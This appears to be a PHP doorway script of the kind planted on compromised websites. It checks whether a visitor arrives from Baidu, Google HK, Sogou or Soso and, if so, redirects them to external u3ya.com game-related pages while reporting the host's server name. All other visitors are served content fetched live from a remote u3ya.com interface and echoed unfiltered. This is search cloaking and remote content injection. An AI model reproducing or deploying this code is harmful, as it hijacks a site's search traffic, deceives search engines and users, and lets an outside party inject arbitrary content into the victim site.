error_reporting(E_ERROR);
header("content-Type: text/html; charset=gb2312");
$ssyq = explode('|','baidu.com/s?|google.com.hk/search?|sogou.com/sogou|sogou.com/web|soso.com/q?w=');
$sszt = 0;
$lailu = $_SERVER['HTTP_REFERER'];
for($b=0;$b<=count($ssyq)-1;$b++){
if(eregi($ssyq[$b],$lailu)){
$sszt = 1;
break;
}
}
if($sszt == 1)
{
$get1 = $_GET['viewnews'];
$tags1 = substr($get1,'1',strrpos($get1,"/")-1);
if($tags1 == 'dh')
$list1 = 'http://dh.u3ya.com/d/error.htm';
elseif($tags1 == 'aion')
$list1 = 'http://aion.u3ya.com/a/error.htm';
elseif($tags1 == 'rx')
$list1 = 'http://rxjh.u3ya.com/r/error.htm';
elseif($tags1 == 'dt')
$list1 = 'http://dh.u3ya.com/dt/error.htm';
elseif($tags1 == 'dm')
$list1 = 'http://dmlq.u3ya.com/dm/error.htm';
elseif($tags1 == 'tl')
$list1 = 'http://tlbb.u3ya.com/t/error.htm';
Header("Location:".$list1."?".$_SERVER['SERVER_NAME']);
}
else
header("content-Type: text/html; charset=gb2312");
$get = '';
$get = $_GET['viewnews'];
$tags = substr($get,'1',strrpos($get,"/")-1);
if($tags == 'dh')
$list = 'http://jiekou.u3ya.com/jk/dh/index.php';
elseif($tags == 'aion')
$list = 'http://jiekou.u3ya.com/jk/aion/index.php';
elseif($tags == 'rx')
$list = 'http://jiekou.u3ya.com/jk/rxjh/index.php';
elseif($tags == 'dt')
$list = 'http://jiekou.u3ya.com/jk/dtws/index.php';
elseif($tags == 'dm')
$list = 'http://jiekou.u3ya.com/jk/dmlq/index.php';
elseif($tags == 'tl')
$list = 'http://jiekou.u3ya.com/jk/tlbb/index.php';
else
$list = 'http://jiekou.u3ya.com/jk/dh/index.php';
function readurl($url)
{
$resp = @file_get_contents($url);
return $resp;
}
$datatmp = readurl($list.'?'.$get);
echo $datatmp;